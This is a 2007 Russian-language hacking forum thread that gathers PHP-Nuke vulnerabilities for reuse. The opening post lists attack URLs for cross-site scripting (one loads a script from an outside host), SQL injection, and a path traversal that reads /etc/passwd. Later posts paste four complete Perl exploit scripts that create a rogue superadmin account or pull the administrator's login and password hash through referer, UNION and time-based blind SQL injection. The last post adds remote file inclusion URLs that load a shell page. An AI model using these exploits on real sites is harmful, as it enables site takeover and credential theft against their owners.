Обзор уязвимостей в PHP-Nuke

Discussion in 'Уязвимости' started by krutoni, 31 Mar 2007.

  1. krutoni

    krutoni New Member

    Joined:
    9 Feb 2007
    Messages:
    9
    Likes Received:
    3
    Reputations:
    0
    Поискал, не нашёл на форму faq по уязвимостям в php-nuke. Вот собрал не большой.
    PHP-Nuke 6.x, 7-7.6
    Тип: XSS
    Уязвимость существует в модуле search, при обработки входных данных в переменной 'min'
    Примеры:
    http://site.com/phpnuke/modules.php?name=Search&author=[author]&topic=0&min=999999999[XSS]&query=[our_query]&type=users&category=2
    http://site.com/phpnuke/modules.php?name=FAQ&myfaq=yes&i d_cat=1&
    categories=45435[XSS]
    Так же можно на прямую запросить некоторые сценарии.
    Примеры:
    http://site.com/phpnuke/modules.php?name=Your_Account&op=my_headlines
    http://site.com/phpnuke/modules.php?name=Your_Account&op=userinfo
    http://site.com/phpnuke/modules.php?name=Encyclopedia&file=index&op=search

    PHP-Nuke 7.8
    Тип:SQL-Injection
    Уязвимость при обработке входных данных в параметре username в модуле Your_Account, в параметре url модуля Downloads и в параметре description модуля Web_link. С помощью специально сформулированного URL'a, можно выполнить sql запрос.

    Пример:
    http://site.com/phpnuke/modules.php?name=Web_Links
    & l_op=Add&title=what&description=[SQL]&url=what
    http://site.com/phpnuke/modules.php?name=Downloads
    &d_op=Add&url=[SQL]&title=what&description=what

    Эксплоит:
    PHP-Nuke 7.8
    Тип: Межсайтовый скриптинг
    Уязвимость существует из-за недостаточной обработки входных данных в параметре "pagetitle" в сценарии "header.php". С помощью специально сформулированного запроса, можно выольинть произвольный код.
    Пример:
    http://site.com/phpnuke/?pagetitle=title</title></head><script+src=http://xacksite.com/script.js

    PHP-Nuke 7.9
    Тип:SQL-inection
    Уязвимость во входных данных в параметре "forwhat" в сценарии modules/journal/search.php
    С помощью специально сформулированного URL'а, можно выполнить произвольный sql запрос.
    Пример:
    http://site.com/phpnuke/moblog/big.php?img=[SQL]&pg=1

    PHP-Nuke 7.9
    Тип:Обзод каталога
    Можно просматривать файлы на целевой системе. Уязвимость существует в сценарии 'modules.php' из-за недостаточной обработки входных данных. Можно послать HTTP GET или POST запрос.
    Пример:
    http://site.com/phpnuke/modules.php?name=Search
    &file=../../../../../../ ../../../etc/passwd%00
     
    1 person likes this.
  2. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    1) Указано мало уязвимостей в тех или иных версиях движка этого...(milw0rm, securitylab )
    2) Оформление ужасное, точнее его вовсе нет...
    3) Почему-то мне кажется, что копипаст...

    P.s. Если дополнишь, грамотно оформишь ==> готов буду прикрепить тему...
     
    #2 Koller, 31 Mar 2007
    Last edited: 31 Mar 2007
  3. krutoni

    krutoni New Member

    Joined:
    9 Feb 2007
    Messages:
    9
    Likes Received:
    3
    Reputations:
    0
    Это так, собрал из всего что было у меня...Постараюсь доделать и оформить.
     
    2 people like this.
  4. v0rm

    v0rm New Member

    Joined:
    31 Mar 2007
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Вот еще горстка свежих сплоитов, опубликованных на securitylab.ru для PHP-Nuke 8.0

    1. PHP-Nuke <= 8.0 Final (INSERT) Remote SQL Injection Exploit

    Воздействие: SQL-инъекция

    Эксплоит:

    Code:
    #!/usr/bin/perl 
    #0day exploit for PHP-nuke <=8.0 Final
    #Sql injection attack in INSERT syntax
    #version for every base(PostgreSQL,mssql...) except MySQL base
    #Coded by:Maciej `krasza` Kukla[[email protected]]
    #Screenshot:
    #0day exploit for PHP-nuke <=8.0 Final
    #Sql injection attack in INSERT syntax
    #version for every base(PostgreSQL,mssql...) except MySQL base
    #Coded by:Maciej `krasza` Kukla[[email protected]]
    #
    #[+]I registered new superadmin
    #[+]You can login at http://blackshell.pl/~krasza/nuke/html/index.php 
    #[+]Login:krasza
    #[+]Password:krasza
    #[+]Exploit successed
    use strict;
    use warnings;
    use LWP;
    my $adres=shift or help();
    my $ua = LWP::UserAgent->new;
    my $zadanie = HTTP::Request->new(GET => $adres);
    my ($respone,$referer);
    banner();
        $referer="http://www.krasza.int.pl');INSERT INTO `nuke_authors` VALUES ('krasza', 'God', 'http://www.krasza.int.pl', 'krasza\@gmail.com', '61af1f6e572d7fe3a72f54a6ac53830e', '0', '1', '";
        $zadanie->referer($referer);
        $respone=$ua->request($zadanie);
        $respone->is_success or die "$adres : ",$respone->message,"\n";
        print "[+]I registered new superadmin\n";
        print "[+]You can login at $adres \n";
        print "[+]Login:krasza\n";
        print "[+]Password:krasza\n";
        print "[+]Exploit successed\n";
    sub banner{
        print "0day exploit for PHP-nuke <=8.0 Final\n";
            print "Sql injection attack in INSERT syntax\n";
        print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
            print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
    }
    sub help{
        print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
        print "version for every base(PostgreSQL,mssql...) except MySQL base\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
        print "Use:\n";
        print "\tperl exploit.pl [url]\n";
        print "\t[url]-vicitim webpage with index.php\n";
        print "Example:\n";
        print "\tperl exploit.pl http://phpnuke.org/index.php\n";
        exit(0);
    }
    2. PHP-Nuke <= 8.0 Final (HTTP Referers) Remote SQL Injection Exploit

    Воздействие: SQL-инъекция

    Эксплоит:

    Code:
    #!/usr/bin/perl 
    #0day exploit for PHP-nuke <=8.0 Final
    #Sql injection attack in INSERT syntax
    #version, when 'HTTP Referers' block is on
    #Coded by:Maciej `krasza` Kukla[[email protected]]
    #Screenshot:
    #0day exploit for PHP-nuke <=8.0 Final
    #Sql injection attack in INSERT syntax
    #version, when 'HTTP Referers' block is on
    #Coded by:Maciej `krasza` Kukla[[email protected]]
    #
    #[+]You can see login and hash on web page in 'HTTP referers' block
    #[+]Exploit successed
    use strict;
    use warnings;
    use LWP;
    my $adres=shift or help();
    my $ua = LWP::UserAgent->new;
    my $zadanie = HTTP::Request->new(GET => $adres);
    my ($respone,$referer);
    banner();
        $referer="http://www.krasza.int.pl'),(NULL,(SELECT `pwd` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
        $zadanie->referer($referer);
        $respone=$ua->request($zadanie);
        $respone->is_success or die "$adres : ",$respone->message,"\n";
            $referer="http://www.krasza.int.pl'),(NULL,(SELECT `aid` FROM `nuke_authors` WHERE `radminsuper`=1))/*";
        $zadanie->referer($referer);
        $respone=$ua->request($zadanie);
            $respone->is_success or die "$adres : ",$respone->message,"\n";
        print "[+]You can see login and hash on web page in 'HTTP referers' block\n";
        print "[+]Exploit successed\n";
    sub banner{
        print "0day exploit for PHP-nuke <=8.0 Final\n";
            print "Sql injection attack in INSERT syntax\n";
        print "version, when 'HTTP Referers' block is on\n";
            print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
    }
    sub help{
        print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Sql injection attack in INSERT syntax\n";
        print "version, when 'HTTP Referers' block is on\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
        print "Use:\n";
        print "\tperl exploit.pl [url]\n";
        print "\t[url]-vicitim webpage with index.php\n";
        print "Example:\n";
        print "\tperl exploit.pl http://phpnuke.org/index.php\n";
        exit(0);
    }

    3. PHP-Nuke <= 8.0 Final (INSERT) Blind SQL Injection Exploit (mysql)

    Воздействие: SQL-инъекция

    Эксплоит:

    Code:
    #!/usr/bin/perl 
    #0day exploit for PHP-nuke <=8.0 Final
    #Blind sql injection attack in INSERT syntax
    #version for mysql >= 4.0.24, using 'brute force'
    #Coded by:Maciej `krasza` Kukla[[email protected]]
    #Screenshot:
    #0day exploit for PHP-nuke <=8.0 Final
    #Sql injection attack in INSERT syntax
    #Coded by:Maciej `krasza` Kukla[[email protected]]
    #
    #[+]Time normal query: 2 seconds
    #[+]Length user's record: 5
    #[+]Length password's record: 32
    #[+]Login:
    #admin
    #[+]Password:
    #b481ab90de84a345c665f1e4ef3c2
    #[+]Super admin:
    #admin:b481ab90de84a345c66585e1f4cf16e4
    use strict;
    use warnings;
    use LWP;
    my $offset=4;#It is the most important variable!!
    my $adres=shift or help();
    my $ua = LWP::UserAgent->new;
    my $zadanie = HTTP::Request->new(GET => $adres);
    my ($respone,$komenda,$poczatek,$koniec,$czas_nor,$i,$j,$dlugosc_user,$user,$hash,$referer,$czy_dziala,$znak);
    banner();
    $czas_nor=polacz("http://www.krasza.int.pl");
    print "[+]Time normal query: $czas_nor seconds\n";
    $dlugosc_user=ustal_dlugosc("aid",8);
    print "[+]Length user's record: $dlugosc_user\n";
    print "[+]Length password's record: 32\n";
    print "[+]Login:\n";
    $user=brute_force_aid($dlugosc_user);
    print "[+]Password:\n";
    $hash=brute_force_pass(32);
    print "[+]Super admin:\n";
    print "$user:$hash\n";
    ##
    sub brute_force_pass{
        my ($dlugosc)=@_;
        my ($i,$j,$referer,$wynik,$dolny_zakres);
        for($i=1;$i<=$dlugosc;$i++){
            for($j=48;$j<=122;$j++){
            $referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`pwd`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
                $czy_dziala=czy_dziala($referer);
                    if($czy_dziala==1){
                        $znak=chr($j);
                        print "$znak";
                        $wynik.=$znak;
                    if($i<$dlugosc){
                        $i+=1;
                        $j=47;
                    }else{
                        last;
                    }
                }
                #przeskok-optymalizacja;]
                if($j==57){
                    $j=96;
                }
            }
        }
            print "\n";
            return $wynik;
    }
    sub brute_force_aid{
            my ($dlugosc)=@_;
            my ($i,$j,$referer,$wynik,$dolny_zakres);
            for($i=1;$i<=$dlugosc;$i++){
                    for($j=48;$j<=122;$j++){
                    $referer="http://www.krasza.int.pl'),(-1,(SELECT IF((ASCII(SUBSTRING(`aid`,".$i.",1))=".$j.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
                    $czy_dziala=czy_dziala($referer);
                            if($czy_dziala==1){
                        $znak=chr($j);
                                        print "$znak";
                        $wynik.=$znak;
                    if($i<$dlugosc){
                                        $i+=1;
                        $j=47;
                    }else{
                        last;
                    }
                            }
                if($j==57){
                    $j=64;
                }
                if($j==90){
                    $j=96;
                }
                    }
            }
                    print "\n";
                    return $wynik;
    }
    sub ustal_dlugosc{
        my ($pole,$len)=@_;
        my ($referer,$narazie_dziala_liczba,$nie_dziala_liczba);
        $narazie_dziala_liczba=0;
        $nie_dziala_liczba=65;
        #for($len=1;$len<64;$len++){
        while($len<=64){
            if($narazie_dziala_liczba==$len || $nie_dziala_liczba<=$len){
                return $narazie_dziala_liczba;
            }
            $referer="http://www.krasza.int.pl'),(-1,(SELECT IF((LENGTH(`".$pole."`)>".$len.") & 1, benchmark(50000000,CHAR(0)),0) FROM `nuke_authors` WHERE `radminsuper`=1))/*";
            $czy_dziala=czy_dziala($referer);
            if($czy_dziala==1){
                $narazie_dziala_liczba=$len+1;
                $len+=2;
            }else{
                $nie_dziala_liczba=$len+1;
                $len-=1;
            }
        }
        print "[-]Exploit Failed\n";
        exit;
    }
    sub czy_dziala{
        my ($refik)=@_;
        my $czas_zapytania;
        $czas_zapytania=polacz($refik);
        if($czas_zapytania>$czas_nor+$offset){
            return 1;
        }else{
            return 0;
        }
    }
    sub polacz{
        my ($referrer)=@_;
        my ($czas,$czas_poczatek,$czas_koniec);
        $zadanie->referer($referrer);
        $czas_poczatek=time();
            $respone=$ua->request($zadanie);
            $respone->is_success or die "$adres : ",$respone->message,"\n";
            $czas_koniec=time();
        $czas=$czas_koniec-$czas_poczatek;
        return $czas;
    }
    sub banner{
        print "0day exploit for PHP-nuke <=8.0 Final\n";
            print "Blind sql injection attack in INSERT syntax\n";
        print "version mysql >= 4.0.24, using 'brute force'\n";
            print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n\n";
    }
    sub help{
        print "0day exploit for PHP-nuke <=8.0 Final\n";
        print "Blind sql injection attack in INSERT syntax\n";
        print "version mysql >= 4.0.24, using 'brute force'\n";
        print "Coded by:Maciej `krasza` Kukla[krasza\@gmail.com]\n";
        print "Use:\n";
        print "\tperl exploit.pl [url]\n";
        print "\t[url]-vicitim webpage with index.php\n";
        print "Example:\n";
        print "\tperl bruteforce.pl http://phpnuke.org/index.php\n";
        exit(0);
    }
    Я испытывал вышеперечисленые сплоиты на русской редакции движка PHP-Nuke 8.0, к сожалению ни один из них не подействовал на него, я сомневаюсь в кривоте своих рук, скорее придерживаюсь версии того что в русской редакции кроме перевода, также изменена местами структура движка.
    Вообщем пробуйте и отписывайтесь о результатах...
     
    1 person likes this.
  5. Zulf

    Zulf Elder - Старейшина

    Joined:
    12 Feb 2007
    Messages:
    128
    Likes Received:
    42
    Reputations:
    4
    Автор тема хорошая но стоит ее дописать слишком мало уязвимостей описано, да и старые это уязвимости уже везде фикс. Но за старания + однознАчно.
     
    #5 Zulf, 1 Apr 2007
    Last edited: 1 Apr 2007
  6. Colkru

    Colkru Elder - Старейшина

    Joined:
    13 Jan 2007
    Messages:
    100
    Likes Received:
    69
    Reputations:
    9
    Еще один сплойт))

    Code:
    #!/usr/bin/perl
    
    # phpnuke <= 8.0, module: Your_Account
    # This exploit allows to get admin's password
    # need for work:
    # magic_quotes off
    # ------------------------------------------------
    # coded by Kermil
    # 24.10.2006
    
    
    use LWP::UserAgent;
    use HTTP::Cookies;
    use MIME::Base64;
    
    if ( @ARGV < 3 )
    {
       usage();
    }
    
    
    $path = $ARGV[0];
    $username = $ARGV[1];
    $prefix = $ARGV[2];
    
    $xpl = LWP::UserAgent->new() or die;
    $cookie_jar = HTTP::Cookies->new();
    
    $xpl->cookie_jar( $cookie_jar );
    $xpl->default_header('Referer' => $path );
    
    $res = $xpl->post( $path.'modules.php?name=Your_Account&op=login',
         Content => [
                     "user_password" => "abc",
                     "username" => "karamba'/**/UNION SELECT '900150983cd24fb0d6963f7d28e17f72',2,1,1,1,1,1,1,pwd,1 FROM ".$prefix."_authors WHERE aid='$username'/*",
    
                     ]);
    
    print $res->content;
    
    $cookie_jar->extract_cookies( $response );
    $cookie = $cookie_jar->as_string();
    
    $cookie =~ m/user=([^;]+)/;
    $cookie = $1;
    $decoded = decode_base64( $cookie );
    
    @list = split( ':', $decoded );
    
    $hash = "";
    
    $hash = $list[9];
    
    if ( $hash eq "" )
    {
     print "Exploit failed...";
    }
    else
    {
       print "Hash: ".$hash;
    }
    
    sub usage()
    {
       print " Usage: phpnukeGetAdminPassword.pl <path> <admin's name> <prefix>\r\n";
       print " <path> - Path to phpnuke, e.g. http://phpnuke.com/\r\n";
       print " <admin's name>  - name of administrator, e.g. admin\r\n";
       print " <prefix> - prefix of tables in database, e.g. nuke\r\n";
       print "Coded by Kermil\r\n";
       exit();
    }
     
  7. Koller

    Koller Elder - Старейшина

    Joined:
    25 Jul 2005
    Messages:
    402
    Likes Received:
    246
    Reputations:
    302
    Убедительная просьба в этом топике не отписываться впредь, иначе посты будут удаляться...
    Ждем пока автор топика завершит работу...потом будем иобсуждать, и дополнять...
     
  8. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    От себя могу добавить парочку уязвимостей в модулях.
    PHP-Nuke:

    _http://www.example.com/nuke_path/iframe.php?file=ftp://user [email protected]/public_html/shell.html (or) .htm

    _http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user [email protected]/public_html/shell.html (or) .htm

    Взято с Milw0rm.com